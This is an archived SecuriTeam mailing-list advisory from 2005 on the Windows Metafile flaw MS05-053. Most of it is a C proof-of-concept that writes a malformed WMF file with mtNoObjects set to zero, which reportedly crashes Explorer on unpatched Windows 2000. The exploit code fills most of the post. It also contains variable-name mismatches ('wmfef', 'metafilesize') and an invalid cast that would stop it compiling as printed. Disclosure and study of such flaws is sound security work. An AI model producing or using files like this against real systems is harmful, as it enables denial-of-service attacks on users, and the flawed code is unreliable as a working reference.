

[EXPL] Windows Metafile mtNoObjects (MS05-053, DoS, Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-12/msg00102.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxx>
 - *Date:* 28 Dec 2005 12:21:45 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Windows Metafile mtNoObjects (MS05-053, DoS, Exploit)

SUMMARY

A remote code execution and denial of service vulnerabilities exists in the rendering of Windows Metafile (WMF) and Enhanced Metafile (EMF) image formats that could allow remote code execution or on an affected system. Any program that renders WMF or EMF images on the affected systems could be vulnerable to this attack. An attacker who successfully exploited this vulnerability could take complete control of an affected system.

DETAILS

Affected Software:

- * Microsoft Windows 2000 Service Pack 4
- * Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service Pack 2
- * Microsoft Windows XP Professional x64 Edition
- * Microsoft Windows Server 2003 and Microsoft Windows Server 2003 Service Pack 1
- * Microsoft Windows Server 2003 for Itanium-based Systems and Microsoft Windows Server 2003 with SP1 for Itanium-based Systems
- * Microsoft Windows Server 2003 x64 Edition

[EXPL] Windows Metafile mtNoObjects (MS05-053, DoS, Exploit)

Non-Affected Software:

- * Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), and Microsoft Windows Millennium Edition (ME)

Exploit:

/*

- * Author: Winny Thomas

- * Pune, INDIA

*

- * The crafted metafile (WMF) from this code when viewed in explorer crashes it.

- * The issue is seen when the field 'mtNoObjects' in the Metafile header is set to 0x0000.

- * The code was tested on Windows 2000 server SP4. The issue does not occur with the

- * hotfix for GDI (MS05-053) installed.

*

- * Disclaimer: This code is for educational/testing purposes by authorized persons on

- * networks/systems setup for such a purpose. The author of this code shall not bear

- * any responsibility for any damage caused by using this code.

*

*/

```
#include <stdio.h>
```

```
unsigned char wmfheader[] =
```

```
"\xd7\xcd\xc6\x9a\x00\x00\xc6\xfb\xca\x02\xaa\x02\x39\x09\xe8\x03"
```

```
"\x00\x00\x00\x00\x66\xa6"
```

```
"\x01\x00" //mtType
```

```
"\x09\x00" //mtHeaderSize
```

```
"\x00\x03" //mtVersion
```

```
"\xff\xff\xff\x7f" //mtSize
```

```
"\x00\x00" //mtNoObjects
```

```
"\xff\xff\xff\xff" //mtMaxRecord
```

```
"\x00\x00";
```

```
unsigned char metafileRECORD[] =
```

```
"\x05\x00\x00\x00\x0b\x02\x39\x09\xc6\xfb\x05\x00\x00\x00\x0c\x02"
```

```
"\x91\xf9\xe4\x06\x04\x00\x00\x00\x06\x01\x01\x00\x07\x00\x00\x00"
```

```
"\xfc\x02\x00\x00\x0e\x0d\x0d\x00\x00\x00\x04\x00\x00\x00\x2d\x01"
```

```
"\x00\x00\x08\x00\x00\x00\xfa\x02"
```

```
"\x05\x00\x00\x00\x00\x00\xff\xff\x00\x04\x00\x00\x00\x2d\x01"
```

```
"\x01\x00\x04\x00\x00\x00\x06\x01\x01\x00\x14\x00\x00\x00\x24\x03"
```

```
"\x08\x00\xc6\xfb\xca\x02\xbc\xfe\xca\x02\x0f\x01\x49\x06\xa5\x02"
```

```
"\x49\x06\xf4\x00\x68\x08\xd5\xfc\x65\x06\x86\xfe\x65\x06\xc6\xfb"
```

```
"\xca\x02\x08\x00\x00\x00\xfa\x02\x00\x00\x00\x00\x00\x00\x00"
```

```
"\x00\x00\x04\x00\x00\x00\x2d\x01\x02\x00\x07\x00\x00\x00\xfc\x02"
```

```
"\x00\x00\xff\xff\xff\x00\x00\x00\x04\x00\x00\x00\x2d\x01\x03\x00"
```

[EXPL] Windows Metafile mtNoObjects (MS05-053, DoS, Exploit)

[EXPL] Windows Metafile mtNoObjects (MS05-053, DoS, Exploit)

```
"\x04\x00\x00\x00\xf0\x01\x00\x00\x07\x00\x00\x00\xfc\x02\x00\x00"  
"\xbd\x34\x30\x00\x00\x00\x04\x00\x00\x00\x2d\x01\x00\x00\x04\x00"  
"\x00\x00\x2d\x01\x01\x00\x04\x00\x00\x00\x06\x01\x01\x00\x0e\x00"  
"\x00\x00\x24\x03\x05\x00\xd5\xfc\x36\x07\xda\xfc\xd1\x06\x8b\xfe"  
"\xd1\x06\x86\xfe\x36\x07\xd5\xfc\x36\x07\x04\x00\x00\x00\x2d\x01"  
"\x02\x00\x04\x00\x00\x00\x2d\x01\x03\x00\x04\x00\x00\x00\xf0\x01"  
"\x00\x00\x07\x00\x00\x00\xfc\x02\x00\x00\xbd\x34\x30\x00\x00\x00"  
"\x04\x00\x00\x00\x2d\x01\x00\x00\x04\x00\x00\x00\x2d\x01\x01\x00"  
"\x04\x00\x00\x00\x06\x01\x01\x00\x0e\x00\x00\x00\x24\x03\x05\x00"  
"\xc6\xfb\x9b\x03\xcb\xfb\x36\x03\xc1\xfe\x36\x03\xbc\xfe\x9b\x03"  
"\xc6\xfb\x9b\x03\x04\x00\x00\x00\x2d\x01\x02\x00\x04\x00\x00\x00"  
"\x2d\x01\x03\x00\x04\x00\x00\x00\xf0\x01\x00\x00\x07\x00\x00\x00"  
"\xfc\x02\x00\x00\xfb\x4e\x55\x00\x00\x00\x04\x00\x00\x00\x2d\x01"  
"\x00\x00\x04\x00\x00\x00\x2d\x01\x01\x00\x04\x00\x00\x00\x06\x01"  
"\x01\x00\x0e\x00\x00\x00\x24\x03\x05\x00\xbc\xfe\x9b\x03\xc1\xfe"  
"\x36\x03\x14\x01\xb5\x06\x0f\x01\x1a\x07\xbc\xfe\x9b\x03\x04\x00"  
"\x00\x00\x2d\x01\x02\x00\x04\x00\x00\x00\x2d\x01\x03\x00\x04\x00"  
"\x00\x00\xf0\x01\x00\x00\x07\x00\x00\x00\xfc\x02\x00\x00\xbd\x34"  
"\x30\x00\x00\x00\x04\x00\x00\x00\x2d\x01\x00\x00\x04\x00\x00\x00"  
"\x2d\x01\x01\x00\x04\x00\x00\x00\x06\x01\x01\x00\x0e\x00\x00\x00"  
"\x24\x03\x05\x00\x0f\x01\x1a\x07\x14\x01\xb5\x06\xaa\x02\xb5\x06"  
"\xa5\x02\x1a\x07\x0f\x01\x1a\x07\x04\x00\x00\x00\x2d\x01\x02\x00"  
"\x04\x00\x00\x00\x2d\x01\x03\x00\x04\x00\x00\x00\xf0\x01\x00\x00"  
"\x07\x00\x00\x00\xfc\x02\x00\x00\xfa\x94\x93\x00\x00\x00\x04\x00"  
"\x00\x00\x2d\x01\x00\x00\x04\x00\x00\x00\x2d\x01\x01\x00\x04\x00"  
"\x00\x00\x06\x01\x01\x00\x14\x00\x00\x00\x24\x03\x08\x00\xc6\xfb"  
"\x9b\x03\xbc\xfe\x9b\x03\x0f\x01\x1a\x07\xa5\x02\x1a\x07\xf4\x00"  
"\x39\x09\xd5\xfc\x36\x07\x86\xfe\x36\x07\xc6\xfb\x9b\x03\x04\x00"  
"\x00\x00\x2d\x01\x02\x00\x04\x00\x00\x00\x2d\x01\x03\x00\x04\x00"  
"\x00\x00\xf0\x01\x00\x00\x03\x00";
```

```
unsigned char wmfeof[] = "\x00\x00\x00\x00";
```

```
int main(int argc, char *argv[])  
{  
FILE *fp;  
int metafileSizeW, recordSizeW;  
char wmfbuf[2048];  
int metafileSize, recordSize, i, j;  
  
metafileSize = sizeof(wmfheader) + sizeof(metafileRECORD) +  
sizeof(wmfef) - 3;  
metafileSizeW = metafileSize/2;  
recordSize = sizeof(metafileRECORD) - 1;  
recordSizeW = recordSize/2;  
  
memcpy((unsigned long *)&wmfheader[28], &metafileSize, 4);  
memcpy((unsigned long *)&wmfheader[34], &recordSizeW, 4);  
  
printf("[*] Adding Metafile header\n");  
for (i = 0; i < sizeof(wmfheader) - 1; i++) {
```

[EXPL] Windows Metafile mtNoObjects (MS05-053, DoS, Exploit)

```
(unsigned char)wmfbuf[i] = (unsigned char)wmfheader[i];
}

printf("[*] Adding metafile records\n");
for (j = i, i = 0; i < sizeof(metafileRECORD) - 1; i++, j++) {
wmfbuf[j] = metafileRECORD[i];
}

printf("[*] Setting EOF\n");
for (i = 0; i < sizeof(wmfeof) - 1; i++, j++) {
wmfbuf[j] = wmfeof[i];
}

printf("[*] Creating Metafile (MS053.wmf)\n");
fp = fopen("MS053.wmf", "wb");
fwrite(wmfbuf, 1, metafilesize, fp);
fclose(fp);
}

#EoF
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:winnymthomas@xxxxxxxxxx>>
Winy Thomas.
The advisory can be found at:
<<http://www.securiteam.com/windowsntfocus/6B0022KEKM.html>>
<http://www.securiteam.com/windowsntfocus/6B0022KEKM.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

[EXPL] Windows Metafile mtNoObjects (MS05-053, DoS, Exploit)

- Prev by Date: [*\[NT\] Microsoft Internet Explorer Multiple DoS \(datasrc, mshtml.dll\)*](#)
- Next by Date: [*\[UNIX\] Perl Format String Integer Wrap*](#)
- Previous by thread: [*\[NT\] Microsoft Internet Explorer Multiple DoS \(datasrc, mshtml.dll\)*](#)
- Next by thread: [*\[UNIX\] Perl Format String Integer Wrap*](#)
- Index(es):
 - ◆ [*Date*](#)
 - ◆ [*Thread*](#)